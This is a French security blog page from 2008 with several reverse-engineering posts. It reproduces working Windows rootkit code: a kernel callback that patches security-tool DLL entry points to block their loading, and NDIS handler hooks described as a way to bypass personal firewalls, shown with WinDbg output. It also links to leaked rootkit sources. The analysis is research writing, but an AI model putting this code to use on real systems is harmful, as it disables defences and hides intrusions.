Hypervisor Abyss, part 2

Suite de notre voyage dans le monde des hyperviseurs, dans la 1ère partie j’ai montré comment initialiser le support VMX sur le CPU, cette fois-ci, on passe aux choses sérieuses avec la création de la VMCS (Virtual Machine Control data Structure), cette zone mémoire va contenir toutes les infos pour contrôler le comportement du Guest en mode non-root. Lors de certains événements clés, le jeu d’instructions VMX va utiliser la VMCS pour sortir du Guest et restaurer le contexte de l’Host. Une fois que l’hyperviseur rend la main, la VMCS permet de rétablir le contexte du Guest sur le CPU. Dans notre cas, du fait que nous virtualisons notre OS à la volée la création de la VMCS est moins compliquée, elle n’en est pas moins fastidieuse …

(suite…)

Post Category: RE

6 comments mai 11th, 2008 at 07:56 admin

Hypervisor Abyss, part 1

J’ai décidé de me réveiller après avoir passé une soirée à me faire défoncer par Jean-Marie à propos d’un exploit quelque peu … défaillant. Je me rachète en commençant une série de post sur la virtualisation, sujet à la mode en ce moment. Je vous propose de découvrir comment coder votre propre petit hyperviseur, le but étant de comprendre comment fonctionne le support hardware au niveau de la virtualisation, de voir ses capacités et de les utiliser à plus ou moins bon escient. Je vais juste vous montrer comment réaliser un BluePill like sous architecture Intel en utilisant la feature VT sous 32 bits. Abyss has virtualized you !
(suite…)

Post Category: RE

7 comments avril 29th, 2008 at 10:33 admin

Phrack 65 is out !

Le dernier Phrack vient de sortir et c’est un petit rêve pour moi qui se réalise, car oui ! Je suis dedans ! J’ai coécrit un article avec le grand mxatone. J’espère que notre travaille vous plaira et cela vous donnera un paquet d’idées pour la suite. En tout cas, personnellement, je suis assez content du paper que nous avons release, on a essayé d’innover le plus possible en plongeant au fond du système en étudiant des mécanismes peu documentés voir pas du tout en ayant pour objectif de proposer une vision nouvelle dans un discipline qui, il faut le dire, commence un peu à tourner en rond, la furtivité des rootkits en se basant sur les composants systèmes déjà disponibles et ne venez pas me parler des rootkit HVM comme BlueBill qui virtualise l’OS, ils profitent d’une feature hardware pour s’installer entre le matériel et le système pour pouvoir le contrôler.

Notre article « Stealth Hooking: another way to subvert the Windows kernel » décrit des techniques de hook extrêmement furtives dans le noyau se basant sur des éléments volatiles, donc difficilement détectable par des Anti-rootkit et autres HIPS. La première partie est basé sur la gestion des interruptions hardware par Windows, depuis l’IDT jusqu’aux DPC chargés de gérés l’I/O entre le périphérique et la mémoire. La deuxième partie décrit le fonctionnement de la kernel NonPaged pool, comprenez la gestion par l’OS de la mémoire qui ne peu être swappée, puis montre comment, en corrompant les structures de gestion de cette mémoire, contrôler différents mécanismes clés de l’OS. Pour résumer d’un coté l’article décrit un moyen de contrôle des I/O sur l’OS, de l’autre une méthode permettant de hooker des fonctions clés comme l’allocation des IRP ou bien de gérer des trigger permettant à un rk d’effectuer des opérations à un moment précis.

J’ajouterais aussi que écrire en anglais est loin d’être simple, nous remercions tout ceux qui nous ont relu et nous on aidé à rendre notre paper plus propre et plus clair :]

Nous vous souhaitons, mxatone et moi, une bonne lecture et un bon Phrack !

Post Category: C:

17 comments avril 12th, 2008 at 10:46 admin

Sudami

Hummmm je surfais tranquillement sur le net en train de chercher de la doc sur des trucs perdu de Windows quand je suis tombé sur un blog chinois, mais pas n’importe quel blog ! Un putain de blog de ouf sous amphétamines qui prend de la cocaïne. http://hi.baidu.com/sudami/ est tout simplement monstrueux, même si je capte rien au chinois, rien que voir les codes et les schémas qui sont de dessus, ca me fait tourner la tête.

Nvmini, contient le code d’un rootkit kernel-land pas mal foutu, d’après ce que j’ai vu qu’il effectuait les opérations suivantes :

  • Installation de hook dans la SSDT sur les API ZwSaveKey, ZwQueryDirectoryFile, ZwClose, ZwEnumerateKey, ZwLoadDriver, ZwDeleteValueKey et ZwDeleteKey.
  • Le rk installe une callback sur le chargement de module avec l’API PsSetLoadImageNotifyRoutine. La routine de callback est la suivante :
    VOID
    MyLoadImageRoutine(
        IN PUNICODE_STRING ImageName,
        IN HANDLE ProcessId,
        IN PIMAGE_INFO ImageInfo
        )
    {
    	BOOL  bFind;
    	ULONG Length;
    	WCHAR Name[300];
    	PEPROCESS   proc;
    	PVOID       pImageBase;
    	SIZE_T      dwSize;
    	PVOID       pOEP;
    	KIRQL       oldIrql;
    	PIMAGE_DOS_HEADER       dos;
        PIMAGE_NT_HEADERS       nth;
    	PIMAGE_OPTIONAL_HEADER  poh;
    	PHYSICAL_ADDRESS physicalAddress;
    
    	if (ImageName == NULL) {
            return;
        }
    
        Length = ImageName->Length;
        if ((Length == 0) || (ImageName->Buffer == NULL)) {
            return;
        }
    
    	bFind = FALSE;
    	RtlCopyMemory(Name , ImageName->Buffer, ImageName->MaximumLength );
    	_wcsupr(Name);
    
    	if ( ( (wcsstr( Name, L"DLLWM.DLL" ) != NULL) && (wcsstr( Name, L"SYSTEM32" ) != NULL) ) ||
    			( (wcsstr( Name, L"WININFO.RXK" ) != NULL) && (wcsstr( Name, L"COMMON FILES" ) != NULL) ) ||
    			( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINDOWS" ) != NULL) ) ||
    			( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINNT" ) != NULL) ) ||
    			(wcsstr( Name, L"WINDHCP.DLL" ) != NULL) ||
    			(wcsstr( Name, L"DLLHOSTS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"NOTEPAD.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RPCS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RDSHOST.DLL" ) != NULL) ||
    			(wcsstr( Name, L"LGSYM.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RUND11.DLL" ) != NULL) ||
    			(wcsstr( Name, L"MDDDSCCRT.DLL" ) != NULL) ||
    			(wcsstr( Name, L"WSVBS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"CMDBCS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"UPXDHND.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RDFHOST.DLL" ) != NULL) ||
    			(wcsstr( Name, L"safe" ) != NULL) ||
    			(wcsstr( Name, L"anti" ) != NULL) ) {
    				bFind = TRUE;
    	}
    
    	if ( bFind == FALSE ) {
    		return;
    	}
    
    	if( !NT_SUCCESS(PsLookupProcessByProcessId( ProcessId, &proc )) ) {
    		return;
    	}
    
    	KeAttachProcess (proc);
    
    	pImageBase = ImageInfo->ImageBase;
    	dwSize     = ImageInfo->ImageSize;
    
    	try {
    		ProbeForRead( pImageBase, dwSize, sizeof(UCHAR));
    	} except(EXCEPTION_EXECUTE_HANDLER) {
    		return;
    	}
    
    	dos     = (PIMAGE_DOS_HEADER) pImageBase;
        nth     = (PIMAGE_NT_HEADERS) (dos->e_lfanew + (char *)pImageBase);
    	poh     = (PIMAGE_OPTIONAL_HEADER) &nth->OptionalHeader;
    
    	if( (dos->e_magic != 0x5a4d) || (nth->Signature != 0x00004550) ) {// "MZ" "PE\0\0"
    		return;
    	}
    
    	pOEP = (PVOID)( poh->AddressOfEntryPoint + (char *)pImageBase );
    	physicalAddress = MmGetPhysicalAddress( pOEP );
    
    	ProbeForWrite ( pOEP, 5, sizeof(CHAR));
    
    	WPOFF(); // write protection disabled, 16eme bit du cr0 à 0, permet d'écrire en ring0 dans des pages RO
    	oldIrql = KeRaiseIrqlToDpcLevel();
    
    	RtlCopyMemory ( (BYTE*)pOEP, g_Code, 5 );
    
    	KeLowerIrql(oldIrql);
    	WPON();
    
    	KeDetachProcess();
    }

    Cette routine va être appelée au moment du chargement de chaque DLL. Comme vous pouvez le voir, la routine va vérifier si le nom de la DLL chargée apparaît dans une liste prédéfinie, si oui, alors le thread courant s’attache au contexte du process qui charge la DLL avec KeAttachProcess, retrouve l’EntryPoint de DLL en parcourant son PE Header puis le modifie par le code contenu dans la var g_Code qui est :

    BYTE g_Code[5] = { 0x33, 0xC0, 0x0C, 0x00, 0x00 };

    Ce qui correspond en asm à :

    33C0          XOR EAX, EAX
    0C 00         OR AL, 0

    La doc nous dit que si le DllMain d’une fonction renvoie 0, alors la DLL n’est pas chargée dans le process. D’ailleurs je me demande ou est le RET du code copié sur l’EP, pas très pratique si la DllMain ne retourne pas … En tout cas c’est joli trick pour éviter que certaines DLL ne soient loadées.

  • On retrouve aussi dans le fichier HideService.c le code posté sur rootkit.com par i.m.weasel permettant de planqué un service. Ce code va, depuis le noyau, patché le process services.exe qui tient à jour une liste de structures SERVICE_RECORD contenant des infos sur les services en cours.
  • Je vous laisse découvrir le reste, mais il y a des fonctions inachevées. Ca reste quand même un code sympa à étudier.

Par contre un post qui m’a fait pleurer, AK922, contient le code de plusieurs version du rootkit AK922, celui même que j’avais reversé … Le lien sur la page renvoie sur un fichier .sys mais il s’agit bien d’une archive .rar qui contient les sources. Si vous les voulez, je les ai uppé sur mon repo en virant les bouts de chinois des noms de fichiers.

La source du binaire que j’avais reversé n’est pas présente dans l’archive, cependant celle qui s’en rapproche le plus se trouve dans le ak922_sys_c.zip et franchement en la voyant je suis assez content de ce que j’ai réussi à comprendre dessus, parce que ca fait vraiment de la peur. Pour rappel, AK922 est un rootkit assez original qui va installer un hook sur la routine IoCompleteRequest. Cette routine est très importante pour l’I/O Manager, c’est elle qui va compléter les IRP en les renvoyant à l’appelant. En contrôlant cette routine le rootkit peut donc voir le retour de la requête fait par exemple par un syscall comme NtQueryDirectoryFile et modifier son contenu. Par contre le code qui gère ca vient d’ailleurs, c’est affolant, regardez le code de la fonction DispatchIofCompleteRequest et vous verrez. Remarquez que cette fonction est la version améliorée de AkHideFile qui se trouve dans le Mian.rar, c’est celle-ci que j’ai reversé. Enfin, bref, ca me fout un peu les boules …

Je vous laisse surfer sur le blog de Sudami, c’est vraiment génial, ce gars est un super coder/reverser. Dommage que ca doit en chinois. Ce que je retiens, c’est qu’en voyant ce genre de blogs, je me dis que les chinois sont vraiment des brutes épaisses et qu’au final ils ont vraiment les moyens de faire très mal. C’est vrai, ils ont certains avantages certes, mais à les voir, on à l’impression qu’ils restent dans leur monde, entre eux, à partager les découvertes et travaux dans leur langue ! Ils ont rippé ce qu’ils ont pu trouver dans les docs/ebooks/sites/blogs de par le net et ont mit ca à leur sauce puis ils ont cherché par eux mêmes. Au final, ca paye bien, ils savent faire des rootkits :] Et pendant ce temps là, nous, on les regarde …

Au passage, les blogs de ses potes, lynux et micropoint, ont l’air bien puissants aussi …

Post Category: C:

5 comments mars 26th, 2008 at 03:30 admin

Rydymy

Ca y est j’ai craqué dans ma tête de maladouf, après Nono, Newsoft, Jme et Sid, je me suis décidé à vous raconter 6 choses complètement useless sur moi. Attention, si vous êtes québécois, ne lisez pas ce post …

  1. J’aime les chocapicz, si mon petit dej’ n’est pas constitué à 95% de chocapicz, je meurs ….De plus, j’aime me lever tard, le plus tard possible même, entre 11h et 13h c’est parfait. Je préfère travailler la nuit lorsque les gens normaux sont parti dormir, IRC est plus calme à ce moment là. Sauf les chans ou trainent des québécois, ils ont réveillés à 3h du mat eux et me highlight pour rien. Faudrait les bannir eux je pense.
  2. Je n’aime pas les québécois, ils parlent une langue de tapz, ça fait 3 ans que j’essaye de l’apprendre … D’ailleurs c’est à cause d’eux que je fais autant de fautes quand j’écris !
  3. Me faire faire de la programmation Web quelqu’elle soit après minuit me transforme en gremlin Mogwaï-like capable d’installer un serveur SQL sur une plan9 dans une VM sous CentOS avec un PAX, comprenez que je déteste cela. Mes langages de prédilection sont le C et le python, pour conquérir le monde c’est largement suffisant:)
  4. Je suis un fan des RSS, je les collectionne, je trouve que c’est le moyen le plus pratique pour suivre l’info sur le net et être au courant le plus rapidement possible. Mes RSS sont constitué de sites de news, aussi bien que de blogs, de forums, de mailing-lists et de newgroups. Je pense que tout est bon à prendre, quelque soit la provenance et la qualité de l’info, je n’hésite pas à m’abonner à des RSS russes ou chinois, le code n’a pas le langue favorite ! (les commentaires si …)
  5. Je bosse tout le temps avec de la zik, en ce moment j’ai une période metal/screamo/hardcore, j’écoute des groupes comme In Fear And Faith, The Bright Star Alliance, Saosin, Sugartown Cabaret et Tanen. Travailler avec de la zik m’aide à m’enfermer dans mon monde et à rester concentrer (ou pas).
  6. J’ai fait une pyramide à 5 étages avec mes rouleaux de PQ usagés …

Sur ce, je retourne rien faire.

Post Category: C:

8 comments mars 15th, 2008 at 12:58 admin

Unlocker

Un comment laissé sur mon blog récemment a attiré mon attention, j’ai donc décidé de répondre par mail à son auteur. Après plusieurs échanges j’ai décidé de compiler mes découvertes et de vous en faire profiter.
(suite…)

Post Category: RE

15 comments mars 2nd, 2008 at 03:30 admin

Fortinet FortiClient Local Privilege Escalation

Récemment on m’a demandé de jeter un oeil pour exploiter une vuln dans un driver paru il n’y a pas longtemps. Comme je me faisais un peu chier ces temps-ci (comme tout bon étudiant en fait :]), d’ailleurs je me fais tellement chier que je le lis le blog de nono mais ca c’est un autre problème. Anyway, la vuln a été révélé le 13 Février et patchée depuis, pas grave, il y a toujours du challenge, l’adviso publié par Ruben Santamarta concernait un driver du HIPS Forticlient. Je vous propose donc dans ce post de voir et de comprendre d’ou vient la vuln puis de l’exploiter, woOot wOot!
(suite…)

Post Category: RE

6 comments février 28th, 2008 at 09:03 admin

The truth about personal firewalls

Je viens de tomber sur un article monstrueux sur rootkit.com. The truth aboutpersonal firewalls plonge dans les méandres des firewalls Windows. Evidemment ca me rappel beaucoup les recherches que j’ai faite pour le rootkit Bl4me, le code se travaillant au niveau des handlers des NDIS_OPEN_BLOCK en les hookant avec le code suivant :

#pragma pack(push)
#pragma pack(1)
typedef struct _HOOK_CONTEXT_STRUCT
{
    //runtime code
    UCHAR    code1_0x58; //0x58 | pop  eax      | pop caller IP from stack to eax
    UCHAR    code2_0x68; //0x68 | push IMM      | push our hook context address
    struct _HOOK_CONTEXT_STRUCT *m_pHookContext;//point this
    UCHAR    code3_0x50; //0x50 | push eax        | push caller IP from eax to stack
    UCHAR    code4_0xE9; //0xE9 | jmp HookProc  | jump our hook proc
    ULONG   m_pHookProcOffset;

    //our context data

    PVOID    m_pOriginalProc;
    PVOID    m_pHookProc;
    PVOID    m_pBindAdaptHandle;
    PVOID    m_pProtocolContent;
    PVOID   *m_ppOriginPtr;

    struct _HOOK_CONTEXT_STRUCT *m_pHookNext;

}HOOK_CONTEXT_STRUCT;
#pragma pack(pop)

HOOK_CONTEXT_STRUCT    *HookNdisFunc(PVOID pHookProc,PVOID *ppOrigProc,PVOID pBindAdAptHAndle,PVOID pProtocolContent)
{
    HOOK_CONTEXT_STRUCT    *pHookContext;
    PVOID    OrgFunc;

    pHookContext = IsHookedNdisFunc(ppOrigProc[0]);
    if(pHookContext){
        OrgFunc = pHookContext->m_pOriginalProc;
    }
    else{
        OrgFunc = ppOrigProc[0];
    }
    if (OrgFunc == NULL){
        return NULL;
    }

    pHookContext = IsHookedNdisFuncEx(ppOrigProc);
    if(pHookContext){
        return pHookContext;
    }

    NdisAllocateMemoryWithTag(&pHookContext,sizeof(HOOK_CONTEXT_STRUCT),'ytaU');
    if(pHookContext == NULL){
        return NULL;
    }
    memset(pHookContext,0,sizeof(HOOK_CONTEXT_STRUCT));

    pHookContext->code1_0x58 = 0x58;
    pHookContext->code2_0x68 = 0x68;
    pHookContext->code3_0x50 = 0x50;
    pHookContext->code4_0xE9 = 0xE9;

    pHookContext->m_pHookContext        = pHookContext;
    pHookContext->m_pHookProcOffset        = ((ULONG)pHookProc) - (((ULONG)&pHookContext->m_pHookProcOffset) + sizeof(ULONG));
    pHookContext->m_pBindAdaptHandle    = pBindAdAptHAndle;
    pHookContext->m_pProtocolContent    = pProtocolContent;
    pHookContext->m_pOriginalProc        = OrgFunc;
    pHookContext->m_ppOriginPtr            = ppOrigProc;
    pHookContext->m_pHookProc            = pHookProc;
    pHookContext->m_pHookNext            = m_pOurAllOfHookContext;
    m_pOurAllOfHookContext                = pHookContext;

    ppOrigProc[0] = pHookContext;

    return pHookContext;
}

He wi, le code fonctionne comme le firewall Zone Alarm en allouant dans la non-paged pool un petit bout de code jumpant sur notre handler, c’est tout mimi et ca marche, en mémoire en se retrouve donc avec :

kd> !protocols
 Protocol 80d5bd40: NDISUIO
    Open 80e2fef0 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

 Protocol 80dcc5f0: TCPIP_WANARP
    Open 80e002f0 - Miniport: 80de8140 Miniport réseau étendu (IP)

 Protocol 80d4c878: TCPIP
    Open 80dc8c50 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

 Protocol 80dbb3a8: NDPROXY
    Open 80e0f610 - Miniport: 80dad140 Parallèle direct
    Open 80e20e78 - Miniport: 80dad140 Parallèle direct
    Open 80dba668 - Miniport: 80df0298 Miniport réseau étendu (L2TP)
    Open 80dab3a0 - Miniport: 80df0298 Miniport réseau étendu (L2TP)

 Protocol 80db0008: RASPPPOE

 Protocol 80de9a38: NDISWAN
    Open 80e86660 - Miniport: 80dad140 Parallèle direct
    Open 80e19e60 - Miniport: 80db17f8 Miniport réseau étendu (PPTP)
    Open ffb711a8 - Miniport: 80db0a50 Miniport WAN (PPPOE)
    Open 80df8210 - Miniport: 80df0298 Miniport réseau étendu (L2TP)

kd> dt ndis!_NDIS_OPEN_BLOCK 80dc8c50
   +0x000 MacHandle        : 0x80de5680
   +0x004 BindingHandle    : 0x80dc8c50
   +0x008 MiniportHandle   : 0x80df3140 _NDIS_MINIPORT_BLOCK
   +0x00c ProtocolHandle   : 0x80d4c878 _NDIS_PROTOCOL_BLOCK
   +0x010 ProtocolBindingContext : 0x80db9008
   +0x014 MiniportNextOpen : (null)
   +0x018 ProtocolNextOpen : (null)
   +0x01c MiniportAdapterContext : 0xffb6d000
   +0x020 Reserved1        : 0 ''
   +0x021 Reserved2        : 0 ''
   +0x022 Reserved3        : 0 ''
   +0x023 Reserved4        : 0 ''
   +0x024 BindDeviceName   : 0x80df3150 _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x028 Reserved5        : 0
   +0x02c RootDeviceName   : 0x80dd556c _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x030 SendHandler      : 0xfa5ceb31     int  NDIS!ndisMFakeSend+0
   +0x030 WanSendHandler   : 0xfa5ceb31     int  NDIS!ndisMFakeSend+0
   +0x034 TransferDataHandler : 0xfa5ccfd5     int  NDIS!ndisMTransferData+0
   +0x038 SendCompleteHandler : 0x80d5cc00     void  +ffffffff80d5cc00
   +0x03c TransferDataCompleteHandler : 0xfa3ae105     void  tcpip!ARPTDComplete+0
   +0x040 ReceiveHandler   : 0xffb88768     int  +ffffffffffb88768
   +0x044 ReceiveCompleteHandler : 0xfa3807ed     void  tcpip!ARPRcvComplete+0
   +0x048 WanReceiveHandler : (null)
   +0x04c RequestCompleteHandler : 0xfa3873fb     void  tcpip!ARPRequestComplete+0
   +0x050 ReceivePacketHandler : 0x80ddfc10     int  +ffffffff80ddfc10
   +0x054 SendPacketsHandler : 0xfa5cea8f     void  NDIS!ndisMFakeSendPackets+0
   +0x058 ResetHandler     : 0xfa5ceb0c     int  NDIS!ndisMFakeReset+0
   +0x05c RequestHandler   : 0xfa5cb988     int  NDIS!ndisMRequest+0
   +0x060 ResetCompleteHandler : 0xfa3ae127     void  tcpip!ARPResetComplete+0
   +0x064 StatusHandler    : 0xfa39a1e1     void  tcpip!ARPStatus+0
   +0x068 StatusCompleteHandler : 0xfa39a0d9     void  tcpip!ARPStatusComplete+0
   +0x06c Flags            : 0x100
   +0x070 References       : 1
   +0x074 SpinLock         : 0
   +0x078 FilterHandle     : 0x80dcef20
   +0x07c ProtocolOptions  : 0
   +0x080 CurrentLookahead : 0x80
   +0x082 ConnectDampTicks : 0
   +0x084 DisconnectDampTicks : 0
   +0x088 WSendHandler     : 0xfa84a58c     int  dc21x4!DC21X4Send+0
   +0x08c WTransferDataHandler : (null)
   +0x090 WSendPacketsHandler : (null)
   +0x094 CancelSendPacketsHandler : (null)
   +0x098 WakeUpEnable     : 0
   +0x09c CloseCompleteEvent : (null)
   +0x0a0 QC               : _QUEUED_CLOSE
   +0x0b4 AfReferences     : 0
   +0x0b8 NextGlobalOpen   : 0x80e002f0 _NDIS_OPEN_BLOCK
   +0x0bc NextAf           : (null)
   +0x0c0 MiniportCoCreateVcHandler : 0x0a0e0019     int  +a0e0019
   +0x0c4 MiniportCoRequestHandler : 0x6d66444e     int  +6d66444e
   +0x0c8 CoCreateVcHandler : (null)
   +0x0cc CoDeleteVcHandler : (null)
   +0x0d0 CmActivateVcCompleteHandler : (null)
   +0x0d4 CmDeactivateVcCompleteHandler : (null)
   +0x0d8 CoRequestCompleteHandler : (null)
   +0x0dc ActiveVcHead     : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0e4 InactiveVcHead   : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x0ec PendingAfNotifications : 0
   +0x0f0 AfNotifyCompleteEvent : 0xfa5cd122 _KEVENT

kd> u ffffffff80d5cc00 //SendCompleteHandler
80d5cc00 58              pop     eax
80d5cc01 6800ccd580      push    80D5CC00h
80d5cc06 50              push    eax
80d5cc07 e922a9f175      jmp     kernel_tcp!HookProtocolSendComplete (f6c7752e)
80d5cc0c a837            test    al,37h
80d5cc0e 38fa            cmp     dl,bh
80d5cc10 2e75c7          hnt jne 80d5cbda
80d5cc13 f6508c          not     byte ptr [eax-74h]

Si on dump la struct HOOK_CONTEXT_STRUCT on peut retrouver aussi le handler original à l’offset 0xC

kd> dd 80d5cc00 l 24
80d5cc00  cc006858 e95080d5 75f1a922 fa3837a8
80d5cc10  f6c7752e 80dc8c50 80d4c878 80dc8c88
80d5cc20  80ddfc10 80d5cc20 0a0a0006 ee657645
80d5cc30  e1034838 00380038 e1231900 00000001
80d5cc40  80dcf388 80d8d0d0 000002d4 84000000
80d5cc50  00000003 00000001 80ef9450 24000020
80d5cc60  805609e0 e127473f 8004bc00 00000000
80d5cc70  80e40a20 80e40a20 0a08000a ee657645
80d5cc80  80d5ccc0 ffb9e308 000002d4 00000000
kd> ln fa3837a8
(fa3837a8)   tcpip!ARPSendComplete   |  (fa383829)   tcpip!GetARPBufferAtDpcLevel
Exact matches:
    tcpip!ARPSendComplete = 

Bon il est clair que le code de Bl4me est expérimental mais il suffit à bypass pas mal de firewall actuel même si il est dit dans l’article que certains fw comme Outpost restorent leurs handlers, il est toujours possible de contourner cette sécurité. Pour les paquets sortant on utilise les fonctions NdisMSendPackets et ndisMSendX en les envoyant direct sur le Miniport :

VOID (* pndisMSendPacketsX)(
    IN NDIS_HANDLE  NdisBindingHandle,
    IN PPNDIS_PACKET  PacketArray,
    IN UINT  NumberOfPackets
    );

Pour les paquets sortant, on tape direct sur le NDIS_MINIPORT_BLOCK plus précisément sur les blocks servant à la fonction NDIS!ethFilterDprIndicateReceivePacket pour dispatcher les packets sur les NDIS_OPEN_BLOCK attachés au miniport.
Exemple :

kd> !miniports
NDIS Driver verifier level: 0
NDIS Failed allocations   : 0
Miniport Driver Block: 80dac8b8, Version 0.0
  Miniport: 80dad140, NetLuidIndex: 0, IfIndex: 0, Parallèle direct
Miniport Driver Block: 80db1db8, Version 0.0
  Miniport: 80db17f8, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (PPTP)
Miniport Driver Block: 80db2080, Version 0.0
  Miniport: 80db0a50, NetLuidIndex: 0, IfIndex: 0, Miniport WAN (PPPOE)
Miniport Driver Block: 80de9950, Version 0.0
  Miniport: 80de8140, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (IP)
Miniport Driver Block: 80df07d8, Version 0.0
  Miniport: 80df0298, NetLuidIndex: 0, IfIndex: 0, Miniport réseau étendu (L2TP)
Miniport Driver Block: 80df4880, Version 5.5
  Miniport: 80df3140, NetLuidIndex: 0, IfIndex: 0, Carte Fast Ethernet PCI à base de Intel 21140 (Générique)
kd> dt nt!_NDIS_MINIPORT_BLOCK 80df4880

kd> dt ndis!_NDIS_MINIPORT_BLOCK 80df3140
   +0x000 Signature        : 0x504d444e
   +0x004 NextMiniport     : (null)
   +0x008 DriverHandle     : 0x80df4880 _NDIS_M_DRIVER_BLOCK
   +0x00c MiniportAdapterContext : 0xffb6d000
   +0x010 MiniportName     : _UNICODE_STRING "\DEVICE\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x018 BindPaths        : 0x80dd5568 _NDIS_BIND_PATHS
   +0x01c OpenQueue        : 0x80e2fef0
   +0x020 ShortRef         : _REFERENCE
   +0x028 DeviceContext    : (null)
   +0x02c Padding1         : 0 ''
   +0x02d LockAcquired     : 0 ''
   +0x02e PmodeOpens       : 0 ''
   +0x02f AssignedProcessor : 0 ''
   +0x030 Lock             : 0
   +0x034 MediaRequest     : (null)
   +0x038 Interrupt        : 0xffb6d008 _NDIS_MINIPORT_INTERRUPT
   +0x03c Flags            : 0xc412008
   +0x040 PnPFlags         : 0x10210000
   +0x044 PacketList       : _LIST_ENTRY [ 0x80df3184 - 0x80df3184 ]
   +0x04c FirstPendingPacket : (null)
   +0x050 ReturnPacketsQueue : (null)
   +0x054 RequestBuffer    : 0xb
   +0x058 SetMCastBuffer   : (null)
   +0x05c PrimaryMiniport  : 0x80df3140 _NDIS_MINIPORT_BLOCK
   +0x060 WrapperContext   : 0x80df30f8
   +0x064 BusDataContext   : 0x80eaef08
   +0x068 PnPCapabilities  : 0x30
   +0x06c Resources        : (null)
   +0x070 WakeUpDpcTimer   : _NDIS_TIMER
   +0x0b8 BaseName         : _UNICODE_STRING "{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x0c0 SymbolicLinkName : _UNICODE_STRING "\??\PCI#VEN_1011&DEV_0009&SUBSYS_21140A00&REV_20#3&267a616a&0&50#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{63543126-4B56-472E-AF47-97C5FEC7D5B4}"
   +0x0c8 CheckForHangSeconds : 2
   +0x0cc CFHangTicks      : 1
   +0x0ce CFHangCurrentTick : 1
   +0x0d0 ResetStatus      : 0
   +0x0d4 ResetOpen        : (null)
   +0x0d8 EthDB            : 0x80e438e8 _X_FILTER
   +0x0d8 NullDB           : 0x80e438e8 _X_FILTER
   +0x0dc TrDB             : (null)
   +0x0e0 FddiDB           : (null)
   +0x0e4 ArcDB            : (null)
   +0x0e8 PacketIndicateHandler : 0xfa5baa0b     void  NDIS!ndisMDummyIndicatePacket+0
   +0x0ec SendCompleteHandler : 0xfa5ccbc3     void  NDIS!NdisMSendComplete+0
   +0x0f0 SendResourcesHandler : 0xfa5d2a24     void  NDIS!NdisMSendResourcesAvailable+0
   +0x0f4 ResetCompleteHandler : 0xfa5d408f     void  NDIS!NdisMResetComplete+0
   +0x0f8 MediaType        : 0 ( NdisMedium802_3 )
   +0x0fc BusNumber        : 0
   +0x100 BusType          : 5 ( NdisInterfacePci )
   +0x104 AdapterType      : 5 ( NdisInterfacePci )
   +0x108 DeviceObject     : 0x80df3040 _DEVICE_OBJECT
   +0x10c PhysicalDeviceObject : 0x80eaee50 _DEVICE_OBJECT
   +0x110 NextDeviceObject : 0x80eaee50 _DEVICE_OBJECT
   +0x114 MapRegisters     : 0x80d9eab0 _MAP_REGISTER_ENTRY
   +0x118 CallMgrAfList    : (null)
   +0x11c MiniportThread   : (null)
   +0x120 SetInfoBuf       : (null)
   +0x124 SetInfoBufLen    : 0
   +0x126 MaxSendPackets   : 0
   +0x128 FakeStatus       : -1073676257
   +0x12c LockHandler      : 0xfa5cfd89
   +0x130 pAdapterInstanceName : 0x80e7fbc0 _UNICODE_STRING "Carte Fast Ethernet PCI à base de Intel 21140 (Générique)"
   +0x134 TimerQueue       : (null)
   +0x138 MacOptions       : 0x8f
   +0x13c PendingRequest   : (null)
   +0x140 MaximumLongAddresses : 0x24
   +0x144 MaximumShortAddresses : 0
   +0x148 CurrentLookahead : 0x80
   +0x14c MaximumLookahead : 0x200
   +0x150 HandleInterruptHandler : 0xfa846094     void  dc21x4!DC21X4HandleInterrupt+0
   +0x154 DisableInterruptHandler : 0xfa846e32     void  dc21x4!DC21X4DisableInterrupt+0
   +0x158 EnableInterruptHandler : 0xfa846e18     void  dc21x4!DC21X4EnableInterrupt+0
   +0x15c SendPacketsHandler : 0xfa5cd31c     void  NDIS!ndisMSendPackets+0
   +0x160 DeferredSendHandler : 0xfa5cc997     unsigned char  NDIS!ndisMStartSends+0
   +0x164 EthRxIndicateHandler : 0xfa5d9af6     void  NDIS!EthFilterDprIndicateReceive+0
   +0x168 TrRxIndicateHandler : 0xfa5da1f1     void  NDIS!TrFilterDprIndicateReceive+0
   +0x16c FddiRxIndicateHandler : 0xfa5d81f8     void  NDIS!FddiFilterDprIndicateReceive+0
   +0x170 EthRxCompleteHandler : 0xfa5d9971     void  NDIS!EthFilterDprIndicateReceiveComplete+0
   +0x174 TrRxCompleteHandler : 0xfa5daa2d     void  NDIS!TrFilterDprIndicateReceiveComplete+0
   +0x178 FddiRxCompleteHandler : 0xfa5d77fc     void  NDIS!FddiFilterDprIndicateReceiveComplete+0
   +0x17c StatusHandler    : 0xfa5d0a5f     void  NDIS!NdisMIndicateStatus+0
   +0x180 StatusCompleteHandler : 0xfa5d0c9d     void  NDIS!NdisMIndicateStatusComplete+0
   +0x184 TDCompleteHandler : 0xfa5ccf44     void  NDIS!NdisMTransferDataComplete+0
   +0x188 QueryCompleteHandler : 0xfa5cf907     void  NDIS!NdisMQueryInformationComplete+0
   +0x18c SetCompleteHandler : 0xfa5cfce3     void  NDIS!NdisMSetInformationComplete+0
   +0x190 WanSendCompleteHandler : 0xfa5cd26d     void  NDIS!NdisMWanSendComplete+0
   +0x194 WanRcvHandler    : 0xfa5d38a1     void  NDIS!NdisMWanIndicateReceive+0
